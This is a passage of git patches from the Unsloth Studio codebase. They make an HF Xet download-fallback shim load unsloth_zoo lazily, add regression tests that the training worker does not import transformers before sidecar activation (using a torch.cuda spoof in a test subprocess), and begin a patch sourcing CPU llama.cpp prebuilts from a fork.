@@ -321,11 +323,15 @@ def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
     sys.meta_path.insert(0, finder)
     try:
         degraded = importlib.import_module("utils.hf_xet_fallback")
-        # First attempt without the light env, then a retry with it set.
+        # Import is light (lazy backend); unsloth_zoo not loaded yet.
+        assert seen_env == [], seen_env
+        # First use of a heavy helper triggers the load (attempt without the light env, then a retry
+        # with it set); accessing DownloadStallError drives it via __getattr__.
+        stall_error = degraded.DownloadStallError
         assert seen_env == [None, "1"], seen_env
         # Both attempts raised -> Studio still boots in degraded mode.
-        assert issubclass(degraded.DownloadStallError, RuntimeError)
-        # The env override must not leak past the import.
+        assert issubclass(stall_error, RuntimeError)
+        # The env override must not leak past the load.
         assert os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") is None
     finally:
         sys.meta_path.remove(finder)
@@ -333,3 +339,31 @@ def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
         sys.modules.update(saved)
         if saved_shim is not None:
             sys.modules["utils.hf_xet_fallback"] = saved_shim
+
+
+def test_importing_child_should_disable_xet_stays_light(monkeypatch):
+    """Regression guard for the stale-transformers-sidecar bug: importing the shim (and
+    ``child_should_disable_xet``) must NOT pull in ``transformers``/``unsloth_zoo``. The worker calls
+    this at startup to decide the Xet env flip BEFORE activating the sidecar; an eager import here
+    would cache the default transformers 4.57.x in sys.modules, defeating the sidecar sys.path prepend
+    and breaking 5.x models (Qwen3.5/GLM/gemma-4)."""
+    import importlib
+
+    for name in [
+        m
+        for m in list(sys.modules)
+        if m == "transformers"
+        or m.startswith("transformers.")
+        or m == "unsloth_zoo"
+        or m.startswith("unsloth_zoo.")
+        or m == "utils.hf_xet_fallback"
+    ]:
+        monkeypatch.delitem(sys.modules, name, raising = False)
+
+    mod = importlib.import_module("utils.hf_xet_fallback")
+    # The lightweight decision works without the heavy backend.
+    assert mod.child_should_disable_xet({"disable_xet": True}) is True
+    assert mod.child_should_disable_xet({}) is False
+    # And nothing heavy was imported as a side effect.
+    assert "transformers" not in sys.modules, "importing the shim must not import transformers"
+    assert "unsloth_zoo" not in sys.modules, "importing the shim must not import unsloth_zoo"
diff --git a/studio/backend/tests/test_training_worker_import_discipline.py b/studio/backend/tests/test_training_worker_import_discipline.py
new file mode 100644
index 0000000000..a047c91704
--- /dev/null
+++ b/studio/backend/tests/test_training_worker_import_discipline.py
@@ -0,0 +1,81 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: the training worker must not import ``transformers`` before it activates the
+transformers sidecar.
+
+``core/training/worker.py:run_training_process`` runs a preflight (Xet decision, logging, hardware
+detection) and only THEN calls ``_activate_transformers_version`` -> ``activate_transformers_for_subprocess``,
+which prepends the correct ``.venv_t5_*`` (5.x) sidecar to ``sys.path``. Because activation only edits
+``sys.path``, it is a no-op for any module already cached in ``sys.modules``. So if the preflight imports
+``transformers`` (directly or transitively via ``unsloth_zoo``), the default 4.57.x gets pinned before
+the sidecar is on the path -- and 5.x models (Qwen3.5, GLM-4.7, gemma-4) then fail to load their
+tokenizer/config ("Tokenizer class TokenizersBackend does not exist").
+
+This regression shipped once when ``utils/hf_xet_fallback.py`` eagerly imported ``unsloth_zoo`` (which
+imports ``transformers``) at module load; the worker imports that shim during preflight to decide the
+Xet env flip (see issue #6951). This test locks the invariant in a fresh interpreter. It is CPU-only,
+needs no network/GPU/weights/sidecars, so it runs in the standard ``studio-backend-ci`` matrix.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent  # studio/backend
+
+# Mirrors run_training_process's imports that run BEFORE _activate_transformers_version (worker.py);
+# keep in sync. torch-dependent imports are optional (a no-torch CI shard skips them) but must still
+# not drag in transformers.
+_PREFLIGHT_SNIPPET = r"""
+import sys
+
+# worker.py: from utils.hf_xet_fallback import child_should_disable_xet  (+ call it)
+from utils.hf_xet_fallback import child_should_disable_xet
+child_should_disable_xet({})
+
+# worker.py: from loggers.config import LogConfig
+from loggers.config import LogConfig  # noqa: F401
+
+# worker.py: from utils.hardware import hardware  (imports torch, not transformers)
+try:
+    from utils.hardware import hardware as _hw  # noqa: F401
+except Exception:
+    pass  # torch may be absent in a no-torch shard; the invariant below still applies
+
+# worker.py: from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend
+# (the MLX-dispatch preflight; must also stay clear of transformers). Guarded because it may pull
+# unsloth/trl, absent in a minimal shard -- but a partial import that leaked transformers would still
+# be caught by the assertion below.
+try:
+    from core.training.training import (  # noqa: F401
+        is_apple_silicon_training_platform as _is_apple,
+        should_use_mlx_training_backend as _use_mlx,
+    )
+except Exception:
+    pass
+
+leaked_tf = sorted(m for m in sys.modules if m == "transformers" or m.startswith("transformers."))
+leaked_zoo = sorted(m for m in sys.modules if m == "unsloth_zoo" or m.startswith("unsloth_zoo."))
+assert not leaked_tf, f"transformers imported during worker preflight (before sidecar activation): {leaked_tf}"
+assert not leaked_zoo, f"unsloth_zoo imported during worker preflight (before sidecar activation): {leaked_zoo}"
+print("PREFLIGHT_CLEAN")
+"""
+
+
+def test_worker_preflight_does_not_import_transformers():
+    """A fresh interpreter running the worker's pre-activation imports must leave ``transformers``
+    (and ``unsloth_zoo``) unimported, so the 5.x sidecar prepend is not defeated by a stale module."""
+    result = subprocess.run(
+        [sys.executable, "-c", _PREFLIGHT_SNIPPET],
+        cwd = str(_BACKEND_DIR),
+        capture_output = True,
+        text = True,
+    )
+    assert result.returncode == 0, (
+        "Worker preflight imported transformers before sidecar activation.\n"
+        f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    )
+    assert "PREFLIGHT_CLEAN" in result.stdout, result.stdout
diff --git a/studio/backend/tests/test_worker_activates_correct_transformers.py b/studio/backend/tests/test_worker_activates_correct_transformers.py
new file mode 100644
index 0000000000..fe7b8dd25a
--- /dev/null
+++ b/studio/backend/tests/test_worker_activates_correct_transformers.py
@@ -0,0 +1,155 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: after the training worker runs its preflight and then activates the transformers
+sidecar, the in-process ``transformers`` must be the sidecar version the model requires -- not the
+default 4.57.x that the base environment ships.
+
+The CPU-only "does it choose the correct transformers version" guard, stronger than the pure
+import-order check in ``test_training_worker_import_discipline.py``: it runs the REAL tier detection
+(``get_transformers_tier``) and REAL activation (``activate_transformers_for_subprocess``) for a
+transformers-5.x model (Qwen3.5, tier 530) and asserts the version actually switched. It catches the
+whole failure family at once:
+
+  * a stale pre-activation ``transformers`` import (the #6951 / ``TokenizersBackend`` regression: an
+    already-cached 4.57.x defeats the sidecar's ``sys.path`` prepend),
+  * a wrong tier selected for a 5.x model, and
+  * activation not actually swapping the resident module.
+
+Why the CUDA spoof matters (verified): ``unsloth_zoo``'s eager ``import transformers`` only happens on
+its full, GPU-present init path. On a GPU-less runner it silently degrades and never preloads
+transformers -- which would MASK the stale-import bug (the check would falsely pass). Spoofing
+``torch.cuda`` so ``unsloth_zoo`` believes a GPU is present forces the real init path, exposing the
+regression on CPU CI. The spoof mirrors ``tests/_zoo_aggressive_cuda_spoof.py`` but is inlined so the
+test is self-contained in the ``studio-backend-ci`` matrix (whose conftest does not apply the shared
+spoof). No GPU/network/weights/real sidecar needed: a one-line stub sidecar stands in for the 5.x venv,
+so we only assert activation lands on it.
+
+Proven: passes on the fixed tree (active == 5.3.0) and fails on the buggy tree (active == 4.57.x) on
+a simulated GPU-less runner.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent  # studio/backend
+# Canonical CUDA spoof at the repo root (studio/backend -> studio -> repo root). Loaded by the
+# subprocess when present (matches the consolidated CI); absent in a standalone studio checkout, where
+# the subprocess falls back to a minimal inline spoof.
+_SPOOF_PATH = _BACKEND_DIR.parent.parent / "tests" / "_zoo_aggressive_cuda_spoof.py"
+
+# Runs in a fresh interpreter with cwd == studio/backend so ``utils.*`` resolves like the worker.
+# STUB_HOME (a pytest tmp dir) holds a throwaway ``.venv_t5_530`` sidecar exporting transformers 5.3.0.
+_SNIPPET = r"""
+import os, sys
+sys.path.insert(0, os.getcwd())
+
+# CUDA spoof so unsloth_zoo takes its full, transformers-importing init path on a GPU-less runner.
+# Without it unsloth_zoo degrades and never preloads transformers, which would MASK the stale-import
+# regression under test (verified). Prefer the repo's canonical spoof (single source of truth, and the
+# one the consolidated CI already relies on); fall back to a minimal inline spoof so this also works in
+# a standalone studio checkout. If torch is absent the fixed tree still passes below; the bug just
+# would not be exposable in that shard.
+try:
+    import torch  # noqa: F401
+    _sp = os.environ.get("SPOOF_PATH")
+    if _sp and os.path.exists(_sp):
+        import importlib.util
+        _spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", _sp)
+        _mod = importlib.util.module_from_spec(_spec)
+        _spec.loader.exec_module(_mod)
+        _mod.apply()
+    else:
+        torch.cuda.is_available = lambda: True
+        torch.cuda.device_count = lambda: 1
+        torch.cuda.current_device = lambda: 0
+        torch.cuda.get_device_capability = lambda *a, **k: (8, 0)
+        torch.cuda.get_device_name = lambda *a, **k: "NVIDIA A100-SPOOFED"
+        torch.cuda.is_bf16_supported = lambda *a, **k: True
+        class _Props:
+            name = "NVIDIA A100-SPOOFED"
+            major = 8
+            minor = 0
+            total_memory = 80 * 1024**3
+            multi_processor_count = 108
+        torch.cuda.get_device_properties = lambda *a, **k: _Props()
+        torch.cuda.mem_get_info = lambda *a, **k: (0, 80 * 1024**3)
+except Exception:
+    pass
+os.environ["UNSLOTH_IS_PRESENT"] = "1"
+
+# Stub 5.x sidecar: activation only edits sys.path, so a package that merely exports __version__ is
+# enough to prove the resident transformers switched to it.
+home = os.environ["STUB_HOME"]
+pkg = os.path.join(home, ".venv_t5_530", "transformers")
+os.makedirs(pkg, exist_ok = True)
+with open(os.path.join(pkg, "__init__.py"), "w") as f:
+    f.write('__version__ = "5.3.0"\n')
+os.environ["UNSLOTH_STUDIO_HOME"] = home
+
+# Faithful worker preflight (worker.py: from utils.hf_xet_fallback import child_should_disable_xet).
+# This is the exact stale-import trigger: on the buggy tree it pulls unsloth_zoo -> transformers 4.57.x
+# into sys.modules BEFORE activation.
+from utils.hf_xet_fallback import child_should_disable_xet
+child_should_disable_xet({})
+_tf = sys.modules.get("transformers")
+preload = _tf.__version__ if _tf is not None else None
+
+# Real tier detection + real activation, with the 530 sidecar pointed at the stub above.
+import utils.transformers_version as tv
+tv._VENV_T5_530_DIR = os.path.join(home, ".venv_t5_530")
+tv._ensure_venv_t5_530_exists = lambda: True
+tier = tv.get_transformers_tier("Qwen/Qwen3.5-9B", None)
+tv.activate_transformers_for_subprocess("Qwen/Qwen3.5-9B", None)
+
+import transformers
+print(f"RESULT tier={tier} preload={preload} active={transformers.__version__}")
+"""
+
+
+def _parse(stdout: str) -> dict[str, str]:
+    for line in stdout.splitlines():
+        if line.startswith("RESULT "):
+            return dict(kv.split("=", 1) for kv in line.split()[1:])
+    return {}
+
+
+def test_worker_activates_correct_transformers_version(tmp_path):
+    """The worker's real preflight + activation for a transformers-5.x model (Qwen3.5, tier 530) must
+    leave the in-process ``transformers`` on the 5.x sidecar. A stale pre-activation import leaves the
+    default 4.57.x pinned and fails this assertion -- exactly the #6951 ``TokenizersBackend`` regression."""
+    result = subprocess.run(
+        [sys.executable, "-c", _SNIPPET],
+        cwd = str(_BACKEND_DIR),
+        env = {
+            **__import__("os").environ,
+            "STUB_HOME": str(tmp_path),
+            **({"SPOOF_PATH": str(_SPOOF_PATH)} if _SPOOF_PATH.exists() else {}),
+        },
+        capture_output = True,
+        text = True,
+    )
+    assert result.returncode == 0, (
+        "Worker preflight + activation harness crashed.\n"
+        f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    )
+    parsed = _parse(result.stdout)
+    assert parsed, f"No RESULT line.\nSTDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+
+    # Correct tier chosen for a transformers-5.x model (pure, deterministic; no network/GPU).
+    assert parsed["tier"] == "530", (
+        f"Wrong transformers tier for Qwen3.5 (expected 530, got {parsed['tier']}). "
+        "Tier detection regressed."
+    )
+
+    # Activation must actually swap the resident transformers to the sidecar version. If a preflight
+    # import cached 4.57.x first, the sidecar prepend is a no-op and this stays 4.57.x -- the bug.
+    assert parsed["active"] == "5.3.0", (
+        "Sidecar activation did NOT switch the in-process transformers to the model's 5.x version "
+        f"(active={parsed['active']}, preloaded-before-activation={parsed['preload']}). A pre-activation "
+        "transformers import (directly or via unsloth_zoo) defeated the sidecar; 5.x models (Qwen3.5, "
+        "GLM-4.7, gemma-4) then fail with 'Tokenizer class TokenizersBackend does not exist'. See #6951."
+    )
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index 2dd2247396..9bc4a60fad 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -6,6 +6,16 @@
 Re-exports the shared API and injects Studio's marker-aware cache purge
 (``prepare_cache_for_transport``) so the download manager keeps its ``.transport``
 marker semantics on the HTTP retry.
+
+Import discipline: ``unsloth_zoo``'s ``__init__`` eagerly imports ``transformers``. The workers
+import this shim at startup (to decide the per-worker Xet env flip) *before* activating the model's
+``transformers`` sidecar. Activation only prepends the sidecar to ``sys.path``, so a ``transformers``
+already cached in ``sys.modules`` (via an eager ``unsloth_zoo`` import here) wins -- pinning the
+default 4.57.x and regressing Qwen3.5 / GLM-4.7 / gemma-4 training with
+``Tokenizer class TokenizersBackend does not exist``. So the shared backend is loaded **lazily**
+(``_load_shared``), only on first use of a heavy download helper, i.e. after the sidecar is active.
+``child_should_disable_xet`` and the ``DEFAULT_*`` constants are defined locally so importing them
+never triggers the heavy load.
 """
 
 from __future__ import annotations
@@ -13,161 +23,230 @@ from __future__ import annotations
 import threading
 from typing import Any, Callable, Optional
 
-_shared_import_error = None
-try:
-    import unsloth_zoo.hf_xet_fallback as _shared
-    _shared_available = True
-except Exception as _exc:  # noqa: BLE001 - any import failure must degrade, not crash
-    # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less Studio
-    # host. The download helper needs none of it, so retry via the light UNSLOTH_ZOO_DISABLE_GPU_INIT
-    # path before giving up.
-    _shared_import_error = _exc
-    import os as _os
+# Defaults mirror unsloth_zoo.hf_xet_fallback; plain literals so they resolve (including as
+# default args below) without importing unsloth_zoo/transformers.
+DEFAULT_GRACE_PERIOD = 10.0
+DEFAULT_HEARTBEAT_INTERVAL = 30.0
+DEFAULT_STALL_TIMEOUT = 180.0
 
-    _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")
-    _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1"
-    try:
-        import unsloth_zoo.hf_xet_fallback as _shared
-        _shared_available = True
-        _shared_import_error = None
-    except Exception as _exc2:  # noqa: BLE001 - degrade so Studio still boots with plain HF downloads
-        _shared_import_error = _exc2
-        _shared_available = False
-    finally:
-        if _prev_gpu_init is None:
-            _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None)
-        else:
-            _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init
+# --- lazy shared-backend loader ----------------------------------------------------------------
+_shared: Any = None
+_shared_available: Optional[bool] = None  # None = not yet attempted
+_shared_import_error: Optional[BaseException] = None
+_load_lock = threading.Lock()
 
-if _shared_available:
-    # Bind by assignment so each public name shares one module-level binding with the degraded branch.
-    DEFAULT_GRACE_PERIOD = _shared.DEFAULT_GRACE_PERIOD
-    DEFAULT_HEARTBEAT_INTERVAL = _shared.DEFAULT_HEARTBEAT_INTERVAL
-    DEFAULT_STALL_TIMEOUT = _shared.DEFAULT_STALL_TIMEOUT
-    DownloadStallError = _shared.DownloadStallError
-    child_should_disable_xet = _shared.child_should_disable_xet
-    get_hf_download_state = _shared.get_hf_download_state
-    start_watchdog = _shared.start_watchdog
-    _shared_hf_hub_download_with_xet_fallback = _shared.hf_hub_download_with_xet_fallback
-    _shared_snapshot_download_with_xet_fallback = _shared.snapshot_download_with_xet_fallback
-else:
-    # Degrade instead of crashing Studio: plain HF downloads, stall watchdog disabled. Thin stubs,
-    # not a second copy of the orchestration; recovery returns once unsloth_zoo is upgraded.
-    import logging as _logging
 
-    _logging.getLogger(__name__).warning(
-        "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is "
-        "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to "
-        "re-enable automatic Xet -> HTTP download recovery.",
-        _shared_import_error,
-    )
+def _load_shared() -> bool:
+    """Import ``unsloth_zoo.hf_xet_fallback`` on demand; return True if available. Deferred so
+    importing this module at worker startup does not pull transformers in before the sidecar is
+    activated. Degrades (returns False) rather than crashing when unsloth_zoo is unavailable."""
+    global _shared, _shared_available, _shared_import_error
+    if _shared_available is not None:
+        return _shared_available
+    with _load_lock:
+        if _shared_available is not None:
+            return _shared_available
+        try:
+            import unsloth_zoo.hf_xet_fallback as shared
 
-    DEFAULT_HEARTBEAT_INTERVAL = 30.0
-    DEFAULT_STALL_TIMEOUT = 180.0
-    DEFAULT_GRACE_PERIOD = 10.0
+            _shared = shared
+            _shared_available = True
+            _shared_import_error = None
+            return True
+        except Exception as exc:  # noqa: BLE001 - any import failure must degrade, not crash
+            # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less
+            # host. The download helper needs none of it, so retry via UNSLOTH_ZOO_DISABLE_GPU_INIT.
+            _shared_import_error = exc
+            import os as _os
 
-    class DownloadStallError(RuntimeError):
-        """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""
+            _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")
+            _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1"
+            try:
+                import unsloth_zoo.hf_xet_fallback as shared
 
-    def child_should_disable_xet(config: dict) -> bool:
-        return bool(config.get("disable_xet"))
+                _shared = shared
+                _shared_available = True
+                _shared_import_error = None
+                return True
+            except Exception as exc2:  # noqa: BLE001 - degrade so Studio still boots with plain HF
+                _shared_import_error = exc2
+                _shared_available = False
+                import logging as _logging
 
-    def get_hf_download_state(*args: Any, **kwargs: Any) -> None:
-        return None  # unmeasurable -> the (absent) watchdog never fires
+                _logging.getLogger(__name__).warning(
+                    "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is "
+                    "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to "
+                    "re-enable automatic Xet -> HTTP download recovery.",
+                    _shared_import_error,
+                )
+                return False
+            finally:
+                if _prev_gpu_init is None:
+                    _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None)
+                else:
+                    _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init
 
-    def start_watchdog(
-        *,
-        on_heartbeat: "Optional[Callable[[str], None]]" = None,
-        interval: float = DEFAULT_HEARTBEAT_INTERVAL,
-        xet_disabled: bool = False,
-        **kwargs: Any,
-    ) -> "threading.Event":
-        # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline
-        # is not tripped during a long download.
-        stop = threading.Event()
-        if on_heartbeat is None:
-            return stop
-        transport = "https" if xet_disabled else "xet"
 
-        def _beat() -> None:
-            while not stop.wait(interval):
-                try:
-                    on_heartbeat(f"Downloading ({transport} transport)...")
-                except Exception:
-                    pass
+def child_should_disable_xet(config: dict) -> bool:
+    """Single source of truth for the per-worker Xet env flip (mirrors
+    ``unsloth_zoo.hf_xet_fallback.child_should_disable_xet``). Deliberately lightweight: importing or
+    calling it must NOT pull in unsloth_zoo/transformers, so the worker can decide before activating
+    the transformers sidecar (see the module docstring)."""
+    return bool(config.get("disable_xet"))
 
-        threading.Thread(
-            target = _beat,
-            daemon = True,
-            name = "hf-xet-degraded-heartbeat",
-        ).start()
+
+# --- degraded stubs (used only when unsloth_zoo is unavailable) -------------------------------
+class _DegradedDownloadStallError(RuntimeError):
+    """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""
+
+
+def _degraded_get_hf_download_state(*args: Any, **kwargs: Any) -> None:
+    return None  # unmeasurable -> the (absent) watchdog never fires
+
+
+def _degraded_start_watchdog(
+    *,
+    on_heartbeat: "Optional[Callable[[str], None]]" = None,
+    interval: float = DEFAULT_HEARTBEAT_INTERVAL,
+    xet_disabled: bool = False,
+    **kwargs: Any,
+) -> "threading.Event":
+    # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline
+    # is not tripped during a long download.
+    stop = threading.Event()
+    if on_heartbeat is None:
         return stop
+    transport = "https" if xet_disabled else "xet"
 
-    def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool:
-        return cancel_event is not None and cancel_event.is_set()
+    def _beat() -> None:
+        while not stop.wait(interval):
+            try:
+                on_heartbeat(f"Downloading ({transport} transport)...")
+            except Exception:
+                pass
 
-    def _shared_hf_hub_download_with_xet_fallback(
-        repo_id: str,
-        filename: str,
-        token: Optional[str],
-        *,
-        repo_type: str = "model",
-        revision: Optional[str] = None,
-        cache_dir: Optional[str] = None,
-        force_download: bool = False,
-        cancel_event: "Optional[threading.Event]" = None,
-        **_ignored: Any,
-    ) -> str:
-        # Keep the cancellation contract: do not start or return a download once cancelled.
-        if _degraded_cancelled(cancel_event):
-            raise RuntimeError("Cancelled")
+    threading.Thread(
+        target = _beat,
+        daemon = True,
+        name = "hf-xet-degraded-heartbeat",
+    ).start()
+    return stop
 
-        from huggingface_hub import hf_hub_download
 
-        path = hf_hub_download(
-            repo_id = repo_id,
-            filename = filename,
-            token = token,
-            repo_type = repo_type,
-            revision = revision,
-            cache_dir = cache_dir,
-            force_download = force_download,
-        )
-        if _degraded_cancelled(cancel_event):
-            raise RuntimeError("Cancelled")
-        return path
+def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool:
+    return cancel_event is not None and cancel_event.is_set()
 
-    def _shared_snapshot_download_with_xet_fallback(
-        repo_id: str,
-        *,
-        revision: Optional[str] = None,
-        token: Optional[str] = None,
-        repo_type: str = "model",
-        cache_dir: Optional[str] = None,
-        allow_patterns: Optional[Any] = None,
-        ignore_patterns: Optional[Any] = None,
-        force_download: bool = False,
-        cancel_event: "Optional[threading.Event]" = None,
-        **_ignored: Any,
-    ) -> str:
-        if _degraded_cancelled(cancel_event):
-            raise RuntimeError("Cancelled")
 
-        from huggingface_hub import snapshot_download
+def _degraded_hf_hub_download_with_xet_fallback(
+    repo_id: str,
+    filename: str,
+    token: Optional[str],
+    *,
+    repo_type: str = "model",
+    revision: Optional[str] = None,
+    cache_dir: Optional[str] = None,
+    force_download: bool = False,
+    cancel_event: "Optional[threading.Event]" = None,
+    **_ignored: Any,
+) -> str:
+    # Keep the cancellation contract: do not start or return a download once cancelled.
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
 
-        path = snapshot_download(
-            repo_id = repo_id,
-            repo_type = repo_type,
-            revision = revision,
-            token = token,
-            cache_dir = cache_dir,
-            allow_patterns = allow_patterns,
-            ignore_patterns = ignore_patterns,
-            force_download = force_download,
-        )
-        if _degraded_cancelled(cancel_event):
-            raise RuntimeError("Cancelled")
-        return path
+    from huggingface_hub import hf_hub_download
+
+    path = hf_hub_download(
+        repo_id = repo_id,
+        filename = filename,
+        token = token,
+        repo_type = repo_type,
+        revision = revision,
+        cache_dir = cache_dir,
+        force_download = force_download,
+    )
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+    return path
+
+
+def _degraded_snapshot_download_with_xet_fallback(
+    repo_id: str,
+    *,
+    revision: Optional[str] = None,
+    token: Optional[str] = None,
+    repo_type: str = "model",
+    cache_dir: Optional[str] = None,
+    allow_patterns: Optional[Any] = None,
+    ignore_patterns: Optional[Any] = None,
+    force_download: bool = False,
+    cancel_event: "Optional[threading.Event]" = None,
+    **_ignored: Any,
+) -> str:
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+
+    from huggingface_hub import snapshot_download
+
+    path = snapshot_download(
+        repo_id = repo_id,
+        repo_type = repo_type,
+        revision = revision,
+        token = token,
+        cache_dir = cache_dir,
+        allow_patterns = allow_patterns,
+        ignore_patterns = ignore_patterns,
+        force_download = force_download,
+    )
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+    return path
+
+
+# --- lazy attribute access for the heavy shared API -------------------------------------------
+# ``DownloadStallError`` (class identity matters for ``except``), ``start_watchdog`` and
+# ``get_hf_download_state`` come from the shared backend when available, else the degraded stubs.
+# Resolved via PEP 562 ``__getattr__`` so ``from utils.hf_xet_fallback import X`` triggers the load
+# only for these heavy names, not for ``child_should_disable_xet`` / ``DEFAULT_*``.
+_DEGRADED_ATTRS = {
+    "DownloadStallError": _DegradedDownloadStallError,
+    "start_watchdog": _degraded_start_watchdog,
+    "get_hf_download_state": _degraded_get_hf_download_state,
+}
+
+# Annotation-only declarations for the three names above: they bind NO value, so lookup still misses
+# and PEP 562 ``__getattr__`` resolves them lazily -- but ruff/pyflakes see them as defined, so listing
+# them in ``__all__`` does not trip F822 (while F822 still catches a real typo elsewhere in the list).
+DownloadStallError: type
+start_watchdog: Any
+get_hf_download_state: Any
+
+
+def __getattr__(name: str) -> Any:
+    if name in _DEGRADED_ATTRS:
+        if _load_shared():
+            return getattr(_shared, name)
+        return _DEGRADED_ATTRS[name]
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
+# Indirection seam the public wrappers call (and tests monkeypatch): lazy-load the shared backend,
+# then dispatch to it or the degraded stub. The ``_shared_*`` names preserve the pre-refactor contract.
+def _shared_hf_hub_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str:
+    impl = (
+        _shared.hf_hub_download_with_xet_fallback
+        if _load_shared()
+        else _degraded_hf_hub_download_with_xet_fallback
+    )
+    return impl(*args, **kwargs)
+
+
+def _shared_snapshot_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str:
+    impl = (
+        _shared.snapshot_download_with_xet_fallback
+        if _load_shared()
+        else _degraded_snapshot_download_with_xet_fallback
+    )
+    return impl(*args, **kwargs)
 
 
 __all__ = [

From fcb1152c76417c9ae6d6c649a5036a36110c69c1 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Wed, 8 Jul 2026 09:34:59 -0300
Subject: [PATCH 262/306] Studio: source CPU llama.cpp prebuilts from
 unslothai/llama.cpp (#6311)

* Studio: source CPU llama.cpp prebuilts from the unslothai fork

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: reject unknown Linux CPU arches and keep ROCm-tooling hosts off the CPU prebuilt

* Studio: extend the resolve-prebuilt ROCm-tooling guard to Windows

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: let ROCm-SDK-only CPU hosts take the fork CPU prebuilt

* Studio: accept windows-arm64 prebuilt kind and refresh stale fork-routing comments

* Studio: correct stale fork-routing comments and --resolve-prebuilt help

* Refresh stale ggml-org routing comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../workflows/studio-windows-update-smoke.yml |   6 +-
 .../tests/test_install_resolve_prebuilt.py    | 105 +++--------
 .../backend/tests/test_llama_cpp_freshness.py |   6 +-
 studio/backend/tests/test_llama_cpp_update.py |   7 +-
 studio/install_llama_prebuilt.py              |  63 +++----
 studio/setup.ps1                              |  23 +--
 studio/setup.sh                               |  74 ++------
 .../install/test_llama_pr_force_and_source.py |  14 +-
 tests/studio/install/test_pr4562_bugfixes.py  |  18 +-
 tests/studio/install/test_rocm_support.py     | 100 +++++-----
 tests/studio/install/test_selection_logic.py  | 171 +++++++++++++++++-
 11 files changed, 322 insertions(+), 265 deletions(-)

diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml
index 888b3d70a3..5b92f1a3e0 100644
--- a/.github/workflows/studio-windows-update-smoke.yml
+++ b/.github/workflows/studio-windows-update-smoke.yml
@@ -6,9 +6,9 @@
 # windows-latest runner:
 #
 #   1. install.ps1 --local --no-torch installs Studio AND auto-fetches
-#      the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu-
-#      x64 from ggml-org/llama.cpp). Hitting the source-build fallback
-#      is treated as an Unsloth bug -- Studio must always pick the
+#      the prebuilt llama.cpp Windows binary (app-<tag>-windows-x64-cpu
+#      from unslothai/llama.cpp). Hitting the source-build fallback is
+#      treated as an Unsloth bug -- Studio must always pick the
 #      prebuilt on Windows.
 #   2. unsloth studio update --local is idempotent. Two consecutive
 #      runs both report "prebuilt up to date and validated", no
diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index e9941d9e62..b825172a63 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -1,7 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""install_llama_prebuilt.py: host->repo mapping and the --resolve-prebuilt mode.
+"""install_llama_prebuilt.py: the --resolve-prebuilt probe (plans against the fork
+by default; --published-repo overrides).
 
